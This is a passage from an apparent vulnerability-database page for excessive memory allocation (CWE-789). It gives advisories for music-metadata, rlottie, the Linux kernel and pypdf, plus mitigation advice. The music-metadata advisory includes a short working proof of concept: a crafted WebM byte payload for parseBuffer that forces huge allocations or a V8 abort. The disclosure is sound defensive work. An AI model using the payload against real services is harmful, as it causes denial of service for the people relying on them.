PR #2735 validates EBML leaf lengths before decoding or allocating. It rejects lengths that are unsafe, exceed the enclosing container, or exceed the known remaining file data. For streams whose total size is unknown, large leaves are read incrementally so truncated input fails before one large allocation is attempted. Nested-container boundaries are also constrained by ancestor and file boundaries.
At the time this advisory was updated, PR #2735 was still open and no patched release had been published.
Credits
This advisory consolidates independent reports of the same EBML length-validation flaw:
- @bg0d-glitch reported oversized VINT lengths reaching string and binary allocation paths.
- @Zwique demonstrated approximately 128 MiB of allocation from a 34-byte EBML input as part of a broader parser review.
- @offset demonstrated a 500 MiB allocation from a 70-byte binary-leaf input and the effect of concurrent parses.
- @arpitjain099 demonstrated the 48-byte
parseFilecase that triggers an uncatchable V8 fatal abort.
The reports were consolidated because they share the same vulnerable component, missing validation, allocation sinks, and fix.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107389"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Matroska/WebM EBML parser decodes attacker-controlled variable-length integer (VINT) element lengths without first validating that the declared element fits within its enclosing container or the available input. Leaf lengths are then used directly for string-token and `Uint8Array` allocations.\n\nA very small crafted `.webm`, `.mkv`, or `.mka` file can therefore cause a disproportionately large allocation, an out-of-memory denial of service, or\u2014in one demonstrated `parseFile` case\u2014an uncatchable V8 fatal abort.\n\n## Impact\n\nApplications that parse untrusted Matroska/WebM media can be denied service. Depending on the input, parser API, and Node.js/V8 version, the demonstrated outcomes include:\n\n- a 34-byte input causing an approximately 128 MiB allocation before end-of-input;\n- a 70-byte input causing a 500 MiB allocation through a binary EBML leaf, with concurrent parses multiplying memory consumption;\n- a 48-byte file causing an uncatchable V8 fatal abort through `parseFile` when a leaf declares a length of 32 GiB.\n\nThe fatal-abort case was reproduced on `music-metadata` 11.15.0 with Node.js 26.7.0. It was deterministic across three runs and exited with code 133 despite a surrounding `try`/`catch`. The same reporter did not reproduce that fatal abort through `parseBuffer` on Node.js 20 through 25; those configurations can still encounter allocation attempts or catchable errors. The exact failure mode is therefore runtime- and tokenizer-dependent, but the underlying validation flaw is shared.\n\nThe impact is limited to availability; no confidentiality or integrity impact has been demonstrated.\n\n## Root cause\n\n`EbmlIterator.readElement()` decodes an element length from an EBML VINT and converts it to a JavaScript `Number`:\n\n```ts\nprivate async readElement(): Promise\u003cIHeader\u003e {\n const id = await this.readVintData(this.ebmlMaxIDLength);\n const lenField = await this.readVintData(this.ebmlMaxSizeLength);\n lenField[0] ^= 0x80 \u003e\u003e (lenField.length - 1);\n return {\n id: readUIntBE(id, id.length),\n len: readUIntBE(lenField, lenField.length)\n };\n}\n```\n\nBefore the fix, that value was not checked against the parent boundary or known file size before reaching the leaf readers:\n\n```ts\nprivate async readString(e: IHeader): Promise\u003cstring\u003e {\n const rawString = await this.tokenizer.readToken(new StringType(e.len, \u0027utf-8\u0027));\n return rawString.replace(/\\x00.*$/g, \u0027\u0027);\n}\n\nprivate async readBuffer(e: IHeader): Promise\u003cUint8Array\u003e {\n const buf = new Uint8Array(e.len);\n await this.tokenizer.readBuffer(buf);\n return buf;\n}\n```\n\nAn EBML size VINT can encode values approaching 2^56. A crafted file can select a known string, unsigned-integer, binary, or UID element and route its declared size into an allocation before the tokenizer discovers that the input is truncated. The declared length also participates in container-boundary arithmetic.\n\nFor lengths around 32 GiB, one reporter observed V8 aborting on its external-memory accounting check:\n\n```text\nFatal error: Check failed: change_in_bytes \u003c kMaxReasonableBytes\nprocess exit code 133\n```\n\nThis is a V8 process abort rather than a JavaScript exception, so application-level error handling cannot catch it.\n\n## Attack scenarios\n\nThe issue is reachable through ordinary metadata parsing of attacker-controlled Matroska/WebM files. Reported proofs of concept exercised string, unsigned-integer, binary, and UID leaves. Depending on the tokenizer and runtime, affected entry points include `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, and `parseWebStream`.\n\nOne minimal buffer-based proof of concept uses a `docType` string with an oversized eight-byte VINT:\n\n```js\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\nconst payload = Uint8Array.from([\n 0x1a, 0x45, 0xdf, 0xa3, 0x8a,\n 0x42, 0x82,\n 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff\n]);\n\nawait parseBuffer(payload, { mimeType: \u0027video/webm\u0027 });\n```\n\nAnother proof of concept used a valid WebM EBML header followed by an `ebmlReadVersion` leaf whose VINT declared `0x800000000` bytes (32 GiB), while supplying only one payload byte. Through `parseFile`, this reached the fatal V8 abort described above.\n\n## Fix\n\n[PR #2735](https://github.com/Borewit/music-metadata/pull/2735) validates EBML leaf lengths before decoding or allocating. It rejects lengths that are unsafe, exceed the enclosing container, or exceed the known remaining file data. For streams whose total size is unknown, large leaves are read incrementally so truncated input fails before one large allocation is attempted. Nested-container boundaries are also constrained by ancestor and file boundaries.\n\nAt the time this advisory was updated, PR #2735 was still open and no patched release had been published.\n\n## Credits\n\nThis advisory consolidates independent reports of the same EBML length-validation flaw:\n\n- [@bg0d-glitch](https://github.com/bg0d-glitch) reported oversized VINT lengths reaching string and binary allocation paths.\n- [@Zwique](https://github.com/Zwique) demonstrated approximately 128 MiB of allocation from a 34-byte EBML input as part of a broader parser review.\n- [@offset](https://github.com/offset) demonstrated a 500 MiB allocation from a 70-byte binary-leaf input and the effect of concurrent parses.\n- [@arpitjain099](https://github.com/arpitjain099) demonstrated the 48-byte `parseFile` case that triggers an uncatchable V8 fatal abort.\n\nThe reports were consolidated because they share the same vulnerable component, missing validation, allocation sinks, and fix.",
"id": "GHSA-5gfj-9q3v-qfp3",
"modified": "2026-10-08T19:43:09Z",
"published": "2026-10-08T19:43:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-5gfj-9q3v-qfp3"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2735"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/163f013364ac9fc8dd0c3987433cd065a615af58"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/2d14dc1f7391a94235948a0b823155538f69b3df"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: EBML parser trusts element lengths, allowing memory exhaustion or process abort"
}
GHSA-5J7G-C464-CJ57
Vulnerability from github – Published: 2026-06-04 12:30 – Updated: 2026-06-04 12:30Memory allocation with excessive size value vulnerability in Samsung Open Source rlottie allows Excessive Allocation.
This issue affects rlottie: before 0b4e308fa88c72cbb60cc8a2c1d2c2ad89b101dd.
{
"affected": [],
"aliases": [
"CVE-2026-47319"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T10:16:39Z",
"severity": "MODERATE"
},
"details": "Memory allocation with excessive size value vulnerability in Samsung Open Source rlottie allows Excessive Allocation.\n\nThis issue affects rlottie: before 0b4e308fa88c72cbb60cc8a2c1d2c2ad89b101dd.",
"id": "GHSA-5j7g-c464-cj57",
"modified": "2026-06-04T12:30:25Z",
"published": "2026-06-04T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47319"
},
{
"type": "WEB",
"url": "https://github.com/Samsung/rlottie/pull/588"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5PX6-HG9V-R927
Vulnerability from github – Published: 2024-02-12 03:30 – Updated: 2025-11-04 21:31dm_table_create in drivers/md/dm-table.c in the Linux kernel through 6.7.4 can attempt to (in alloc_targets) allocate more than INT_MAX bytes, and crash, because of a missing check for struct dm_ioctl.target_count.
{
"affected": [],
"aliases": [
"CVE-2023-52429"
],
"database_specific": {
"cwe_ids": [
"CWE-754",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-12T03:15:32Z",
"severity": "MODERATE"
},
"details": "dm_table_create in drivers/md/dm-table.c in the Linux kernel through 6.7.4 can attempt to (in alloc_targets) allocate more than INT_MAX bytes, and crash, because of a missing check for struct dm_ioctl.target_count.",
"id": "GHSA-5px6-hg9v-r927",
"modified": "2025-11-04T21:31:07Z",
"published": "2024-02-12T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52429"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bd504bcfec41a503b32054da5472904b404341a4"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3LZROQAX7Q7LEP4F7WQ3KUZKWCZGFFP2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GS7S3XLTLOUKBXV67LLFZWB3YVFJZHRK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3LZROQAX7Q7LEP4F7WQ3KUZKWCZGFFP2"
},
{
"type": "WEB",
"url": "https://www.spinics.net/lists/dm-devel/msg56625.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5QJQ-93H5-HRGP
Vulnerability from github – Published: 2026-07-23 15:06 – Updated: 2026-07-23 15:06Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires loading images where the declared size values are much too large compared to the actual data.
Patches
This has been fixed in pypdf==6.14.0.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3888.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59938"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:06:58Z",
"nvd_published_at": "2026-07-08T18:16:35Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires loading images where the declared size values are much too large compared to the actual data.\n\n### Patches\n\nThis has been fixed in [pypdf==6.14.0](https://github.com/py-pdf/pypdf/releases/tag/6.14.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3888](https://github.com/py-pdf/pypdf/pull/3888).",
"id": "GHSA-5qjq-93h5-hrgp",
"modified": "2026-07-23T15:06:58Z",
"published": "2026-07-23T15:06:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-5qjq-93h5-hrgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59938"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3888"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/c64583be16b8e8763d8777075f8ecbf382014b7a"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf: Possible large memory usage for wrong image dimensions"
}
Mitigation
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.